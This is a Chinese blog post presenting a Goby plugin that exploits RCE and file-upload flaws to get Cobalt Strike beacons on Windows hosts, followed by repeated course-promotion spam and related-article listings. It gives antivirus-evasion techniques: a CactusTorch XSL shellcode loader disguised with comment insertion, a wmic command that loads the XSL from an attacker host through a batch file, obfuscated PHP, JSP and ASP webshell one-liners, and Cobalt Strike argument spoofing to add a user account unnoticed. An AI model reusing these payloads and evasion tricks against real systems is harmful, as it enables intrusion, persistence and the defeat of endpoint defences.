简单免杀绕过和利用上线的 GoCS

已于 2024-01-16 18:35:00 修改
阅读量974 收藏 18
点赞数 26
文章标签： java 数据库 缓存
于 2023-12-28 10:00:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Karka_/article/details/135237659
版权

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/669a432500d841439d377571cee7f1e7~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp0.ssl.qhimg.com%252Ft0128e803dfaf2921ca.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft0128e803dfaf2921ca.png”” style=“margin: auto” />

前言： Goby 可以快速准确的扫描资产，并直观呈现出来。同时经过上次 EXP 计划过后，PoC&EXP 也增加了许多。在实战化漏洞扫描后，对于高危漏洞的利用，不仅仅只在 whoami 上，而是要进入后渗透阶段，那么对于 Windows 机器而言，上线 CS 是必不可少的操作，会让后渗透如鱼得水。此插件只运用了简单的利用方式上线 CS，希望师傅们能够提供想法和建议把它更为完善，源码中有详细的注释，可供师傅们快速理解。

0×01 插件使用

1.1 插件效果

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/860ef6e2fea2405f8b7b138b952080af~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp1.ssl.qhimg.com%252Ft01766041d2ced09c5d.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01766041d2ced09c5d.gif”” style=“margin: auto” />

1.2 使用方法

1.在工具栏导入 CS 的 32 位 RAW 的 payload 文件 (attacks – > packages – > payload generator – > output:raw 后缀为 bin)，将免杀后的文件放入 VPS 中。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/1d7f86a9e68f42daa9d599487d0f1fa8~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft01fed9479d5c8b482f.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01fed9479d5c8b482f.gif”” style=“margin: auto” />

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2ba49d08ac75476aae8f4bda0d34c919~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft013dbeb0609670d2a7.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft013dbeb0609670d2a7.gif”” style=“margin: auto” />

2.在 Goby 插件配置中设置 VPS 免杀文件地址，在实际使用中也可以进行实时的更改。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/69c44b93c1f8454f858224957053b1f1~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp4.ssl.qhimg.com%252Ft01e2babfad54088024.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft01e2babfad54088024.gif”” style=“margin: auto” />

3.在漏洞利用详情页中点击 GoCS

4.选择一个利用方式和文件形式,根据实际情况更改 payload 进行绕过拦截

点击 GO 即可发包利用

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/286cdcd74e304fd99dcd9e7fd00a7531~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp1.ssl.qhimg.com%252Ft01766041d2ced09c5d.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01766041d2ced09c5d.gif”” style=“margin: auto” />

注：现无法只在目标为 Windows 的机器才显示该插件，还需要用户自己判断一下。

0×02 插件开发

2.1 主体框架

├── .gitignore// 忽略构建输出和node_modules文件
├── README.md // 插件介绍文档
├── CHANGELOG.md// 插件更新日志文档
├── src
│ └── CS.png //CS的图片
│ └── assets //layui
│ └── extension.js// 插件源代码
│ └── Gopass.html//工具栏制作免杀xsl文件
│ └── GoCS.html//漏洞利用页面进行发包利用上线CS
├── package.json // 插件配置清单
├── node_modules//引入模块

2.2 它们的爷爷 package.json

该插件由工具栏的 GoPass.html 和漏洞利用的 index.html 进行大部分工作，所以我先简单介绍它们的爷爷 package.json

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/b943eaa8d5dd4814a7ff1b1d32d186ef~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp2.ssl.qhimg.com%252Ft01cafd6b6876d90dbb.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft01cafd6b6876d90dbb.png”” style=“margin: auto” />

2.3 它们的爸爸 extension.js

具体注释在源代码中，在 Goby 中下载 GoCS 后可在根目录下 \extensions 中找到，这只分析重点。这个页面是父页面(我的理解)在引入模块时直接引用 let fs = require(‘fs’)；或者加 parent 也可以。

点击 Command 为 GoPass 后进行的操作来跳出 GoPass.html：

 //在工具栏的图标点击过后入口
goby.registerCommand('GoPass',function(content){//获取子页面路径let path = __dirname + "/GoPass.html"//打开子页面并配置长宽goby.showIframeDia(path, "GoPass", "666", "500");

})
//在工具栏的图标点击过后结束

进行发包和利用 EXP 的代码：

 //此段代码是摘取Go0p师傅的Goby_exp插件源码//创建Gexp类进行发包获取漏洞详情和利用漏洞class Gexp {//引入包和模块constructor() {this.fs = require('fs')this.request = require('request')this.path = require('path')}//初始化函数之类的吧init() {this.host = this.data.server_host;this.port = this.data.server_port;this.username = this.data.authUsername;this.password = this.data.authPassword; }//获取配置主要用于获取username和password还有代理端口 getServerInfo() {//对目录下得配置文件进行读取返回let config_info = this.path.join(__dirname, '../../../config/config.json');//读取文件操作this.data = JSON.parse(this.fs.readFileSync(config_info, 'utf-8'));//返回应该是json类型可以后面直接用return this.data;} //点击按钮时获取你点击的漏洞详情getPOCInfo(vulname, proxystr) {this.init();//进行发包操作获取Goby本地的返回包，其中有漏洞详情，json类型进行后面处理return new Promise((resolve, reject) => {//发包配置一系列的参数this.request({url: `http://${this.host}:${this.port}/api/v1/getPOCInfo`,method: 'POST',auth: {'user': this.username,'pass': this.password,},proxy: proxystr,json: { "vulname": vulname} }, function (error, response, body) { //成功过后会进行返回漏洞详情 if (<img src="http://${this.host}:${this.port}/api/v1/debugExp`,method: 'POST',auth: {'user': this.username,'pass': this.password,},proxy: proxystr,json: post_data}, function (error, response, body) {if (!error && response.statusCode == 200) {//输出返回的内容// console.log(body);resolve(body);} else {reject(error)}});})}" style="margin: auto" />
//构造Gexp类结束

2.4 它们自己

2.4.1 GoPass.html 用来生成免杀 xsl 文件

这个文件主要就是将 bin 文件进行 base64 加密后和 xsl 文件进行拼接，生成一个 GoPass.xsl 文件，供后面进行远程加载。

Xsl 文件的是使用 cactusTorch 作为加载器加载 shellcode，再运用 wmic 进行远程不落地执行 shellcode。由于无文件落地的木马可以附加到任何进程里面执行，而且传统安全软件是基于文件检测的,对目前无文件落地木马检查效果差，所以该插件采用了此形式进行上线 CS。

而原版本的 xsl 文件生成后就会被杀软报毒，那么加入 <!——> 注释符号进行简单免杀绕过，此处只绕过基本的杀软。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5cb70afb23714a83b6b80a25f8d004dd~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp3.ssl.qhimg.com%252Ft01b0e5993ee5a5739e.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft01b0e5993ee5a5739e.png”” style=“margin: auto” />

同时在重要函数名上也如此。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6d23d46e09ce445c92939e88c62f9cfe~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp2.ssl.qhimg.com%252Ft018885472d73966c1e.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft018885472d73966c1e.png”” style=“margin: auto” />

此处只讨论静态免杀，在 vt 上效果如下。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fee1fdee9cb240aa8f47db06ff8b0576~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp2.ssl.qhimg.com%252Ft019b2ee84960f52b36.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft019b2ee84960f52b36.png”” style=“margin: auto” />

效果是不够的好，加入 <!——> 如同 P 图，P 得越多，越… 根据上面的绕过举一反三过后的免杀如下。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/508046a63619492ca5d8a9a19ab322be~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp4.ssl.qhimg.com%252Ft0113e9001259104780.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft0113e9001259104780.png”” style=“margin: auto” />

这几个感觉是执行了文件，只把一个字母大写，代码不能执行了它们就不报毒了，所以后期还需要加强免杀。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/91ce06ec843546e293f8b26517b06916~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp4.ssl.qhimg.com%252Ft01216dd94a0e65d3cd.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft01216dd94a0e65d3cd.png”” style=“margin: auto” />

2.4.2 index.html 用来生成漏洞利用上线 CS

这个文件主要用来，调用 extension.js 文件中的 Gexp 类，获取 PoC 的参数进行更改后调用 EXP 进行发包利用，其中利用方式有 RCE 和 upload 两种，文件形式有 php，asp，jsp三种(以后会加入 aspx)，源码中有具体的注释。

此处因为是子页面使用引入模块时必须加入 parent

let fs = parent.require('fs');
let goby = parent.goby;

同时如果你使用 exec 函数调用 cmd 也是 Goby.exe 进行调用的，生成文件会在 Goby 的根目录下面，不指定目录写文件也是一样。

初次写 js 的师傅注意，下拉框因为是 div 修饰过的，不能再使用原生的事件进行监听，要使用 layui 的语法进行 select 监听事件。

 //select监听事件开始
//layui的监听事件和原生select不一样

layui.use(['form'], function () {var form = layui.form;//下拉框改变事件开始//layui的调用写法，因为select采用的是layui的样式使用要用它的写法不能用原生的//id为vlul的下拉框的值改变后触发form.on('select(vlul)', function (data) {//调用函数主要用来更新textarea中的内容changeE();});//id为txt的下拉框的值改变后触发form.on('select(txt)', function (data) {//调用函数主要用来更新textarea中的内容changeE();});//下拉框改变事件结束

});
//select监听事件结束

以 php 为例，漏洞利用 upload 是上传写入 php 代码执行 cmd 调用 wmic 远程加载运行 shellcode，RCE 是默认可以执行系统 dos 命令的情况下，调用 wmic 进行远程加载运行 shellcode (如果是代码执行漏洞还需要自己添加 system() 之类的调用 cmd 的函数)

最开始的 xsl 文件有了简单的免杀后，能不能成功上线还得看最后一步 wmic 的命令，正常 wmic 命令是 wmic os get /format:”http://yourIP/a.xsl“

不用想，这肯定会被某全家桶拦截，所以我们必须绕过拦截，那么使用用到烂的 echo 加管道符 | 来试试

echo os get /format:”http://yourIP/a.xsl”|wmic

本地 cmd 执行不会被拦，但是 Upload 利用时候，写入页面后，再加载页面时候会被拦，这意外么？毫不意外。但是这里有趣的是，其实这里绕过了但是没有完全绕过，根据高级的食材往往只需简单烹饪这一道理，所以我决定简单烹饪，将它写入 bat 文件中本地执行，最后发现某全家桶毫无拦截。所以页面中不调用 wmic，而是把它写入 bat，本地去执行 wmic 这样就不会被拦截。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/faef8011e5774d089cb3054f34a4088f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp0.ssl.qhimg.com%252Ft017775f0323cf20b25.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft017775f0323cf20b25.gif”” style=“margin: auto” />

所以最后命令为 echo ^echo os get /format:”http://yourIP/a.xsl”^|wmic>>1.bat&&1.bat

最后来看看在某斯基，某全家桶，某管家，某绒的监督下，不落地执行 shellcode 会是什么样子。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8051368b4a87407889e283d1a276745d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp0.ssl.qhimg.com%252Ft017775f0323cf20b25.gif “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft017775f0323cf20b25.gif”” style=“margin: auto” />

看着 6 秒没有反应，还以为是被 某斯基 杀了，结果发现没有。上线后如果执行敏感操作，如创建用户，可以考虑用 argue 参数污染。

使用参考www.freesion.com/article/334…

参数污染 net

argue net xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

查看污染的参数

argue

用污染的 net 执行敏感操作

execute net user test2 root123 /add

全程某全家桶是没有进行拦截的

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5636bb19ab0b4583b304522eb683c556~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft01f849adf0a8116a40.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01f849adf0a8116a40.png”” style=“margin: auto” />

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ab49e4fee0fe43939afe9162d4dc9050~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp3.ssl.qhimg.com%252Ft016a12345ffdfad21b.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft016a12345ffdfad21b.png”” style=“margin: auto” />

原理简单来讲也如同 P 图，原本执行 net，但是污染后 command 却是 net xxxxxxxxxx，达到绕过。

你在使用中肯定会遇到一些小问题，比如，wmic 加载了一个没有开放的端口就会出现

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/dc5bd261001f4fe6bb4bbef84c3fe558~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp1.ssl.qhimg.com%252Ft01423211be1df5b2d7.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01423211be1df5b2d7.png”” style=“margin: auto” />

那么最好的解决办法就是不去解决，等待一分钟过后就可以了，它们都会自己退出。这告诉了我们一件事情，一定记得去防火墙设置里面开放端口。

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f671ccf4a2764a64b7d45a56fc28dbc5~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft01f2f5b777243ce044.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01f2f5b777243ce044.png”” style=“margin: auto” />

讲完了 cmd 命令的绕过那么就开始 upload 中 Webshell 的绕过。

Php 是参考冰蝎的回调函数进行利用的 php 语句。

let phpshell = "<?php @call_user_func(base64_decode("c3lzdGVta"),"" + wmicCMDshell + "");"

Jsp 基础免杀是参考的 @yzddMr6 师傅的 yzddmr6.tk/posts/websh… 文章

let jspshell = "<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %><%Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), "" + wmicCMDshell + "");%> ";

Asp 是简单利用的 chr 字符加大写，不能免杀，希望会 asp 的师傅能够指导一下。

let aspshell = "<%response.write server.createobject("wscript.sh"&Chr(69)&"ll").ExEc("" + wmicAsp +"").stdout.readall%>"

0×03 总结

第一次编写插件和编写 js 文件，无疑是一次面向百度的编程，总体还是不错，学到了很多。遗憾的是 asp 并没有免杀，还希望会 asp 的师傅指导一下。这个版本很基础，很简单进行利用，所以只能在简单环境下利用，希望后面能加入更多的元素，让这个插件适应更多复杂环境。

0×03 总结

第一次编写插件和编写 js 文件，无疑是一次面向百度的编程，总体还是不错，学到了很多。遗憾的是 asp 并没有免杀，还希望会 asp 的师傅指导一下。这个版本很基础，很简单进行利用，所以只能在简单环境下利用，希望后面能加入更多的元素，让这个插件适应更多复杂环境。

有需要相关的学习资料可以关注私信我哦！！！## 题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

img

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

程序员桔子
关注
  • 26
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Go编写免杀木马
渗透测试
06-28 929
启动main.go -》 加载x1.bin -》加载x2.bin。
Golang-Gin 框架写的免杀平台，内置分离、捆绑等多种BypassAV方式
Spontaneous_0的博客
02-27 514
Golang-Gin 框架写的免杀平台，内置分离、捆绑等多种BypassAV方式
2024年Go最新插件分享 简单免杀绕过和利用上线的 GoCS_如何做到插件反被杀，2024年网易Golang岗面试必问
最新发布
2401_84924979的博客
05-14 428
/layui的监听事件和原生select不一样。//select监听事件开始。//select监听事件结束。//构造Gexp类结束。
Go测试远控免杀学习
paidx0
05-07 1978
Go远控免杀学习
golang任意代码免杀绕过火绒+电脑管家
2301_79571829的博客
09-01 1062
火绒和电脑管家主要以静态规则为主，但是有时候静态杀起来也挺让人奔溃的，这边分享一下如何拿捏火绒和电脑管家本文主要介绍如何通过garble进行混淆编译来绕过火绒，garble也可以绕过其他杀软，但是对火绒和电脑管家特别有效果，以火绒为例 下面来对比一下golang原生和garble混淆编译后得差距来一个很原始的的shellcode loader代码，将原始shellcode base64后就进行加载执行。
2024年Go最新GoPass系列免杀基础（一）_go语言免杀，Golang框架体系架构的知识
2401_84910977的博客
05-11 977
前提 Shellcode 已测试过单独运行不被拦截，那么现在需要排查的这个加密是不是太过简单，而且这样需要考虑到，大批量用户使用时，很多十六进制都是固定的，那么也会被特征标记，如果全家桶拦了，相信你也可以动手改一改，你可以将 ascii 码加上一个数如 252+200=457，载入时，再减去。而且每个十六进制占一位，并且自己有位置编号，可以将他们提出来总结，并且 ascii 编码（\xfc为252 \xbb为187 \xaa为170），这样我们有 ascii 码，有数量，有位置，就可以还原回去。
Tide安全团队免杀绕过教程
11-12
在这个教程中，Tide安全团队分享了他们的专业知识，专注于如何在网络安全领域中实现免杀（Evasion）和绕过（Bypassing Anti-Virus，简称Bypass AV）的技术。免杀技术是黑客或渗透测试人员在进行测试时，为避免被反...
安全狗上传绕过+wbehshell免杀
09-05
服务器安全狗是一款集服务器安全防护和安全管理为一体的综合性服务器工具。支持Windows全系列操作系统（Windows2003/Windows2008/Windows2012 32位 64位）、Linux...这篇文档总结了一些安全狗上传绕过经验，供参考。
通过DNS传输后门来绕过杀软
02-25
在本篇文章里，我想解释怎么样不使用加密数据的方法也能绕过杀软，同时我也想在github上分享源代码。https://github.com/DamonMohammadbagher/NativePayload_DNS我想使用DNS协议来传输我的后门载荷，从攻击者的机器...
JsLoader:js免杀shellcode，绕过杀毒添加自启
05-05
【JsLoader:js免杀shellcode，绕过杀毒添加自启】 JsLoader是一种恶意软件技术，它利用JavaScript代码来加载和执行恶意payload，目的是在用户计算机上绕过反病毒软件的检测并实现持久化。JavaScript由于其普遍存在...
go-packer:golang打包二进制进行免杀
04-07
go-packer golang打包二进制进行免杀
GoPass系列免杀基础（一）_go语言免杀，2024年最新Golang虚拟机原理深入解析
2301_82243440的博客
04-13 889
Shellcode 是可执行的 16 进制机器码，需要执行的话它就需要用到 Shellcode 加载器。Shellcode 加载器的主要功能：开辟内存空间–将 Shellcode 放入内存空间–指针指向 Shellcode 地址执行。以 Goby 的 GoPassPython 插件来说：这个是用 Python 语言作为 Shellcode 的加载器执行 Shellcode 的，它的步骤：开辟空间–写入内存空间–然后执行。可以尝试放入自己的 Shellcode 执行一下。
GoPass系列免杀基础（一）
m0_46699477的博客
12-20 501
过数字全家桶（开启晶核）、某绒、卡巴、WD、某管家、魔法保姆、机器人、橘子
免杀方法（十）GO免杀shellcode加载器 — go-shellcode-loader​
qq_56426046的博客
10-04 2055
GO混淆免杀shellcode加载器AES加密，混淆反检测 过DF、360和火绒。
GO静态免杀初探
HBohan的博客
09-30 880
Go加载器 网上找的Go加载器，最简单的免杀就是将shellcode加密解密，或者远程加载shellcode。 package main import ( "syscall" "unsafe" ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) var ( kernel32 = sy.
go混淆实现bypassAV（cobaltstrike免杀）
qq_32445755的博客
02-09 911
近两年随着hw和红蓝对抗的增多，接触到的提权、内网渗透、域渗透也越来越多。攻击能力有没有提升不知道，但防护水平明显感觉提升了一大截，先不说防护人员的技术水平如果，最起码各种云WAF、防火墙、隔离设备部署的多了，服务器上也经常能见到安装了杀软、软waf、agent等等，特别是某数字杀软在国内服务器上尤为普及。这个时候，不会点免杀技术就非常吃亏了。
木马免杀实践-golang
网络安全。
08-09 2043
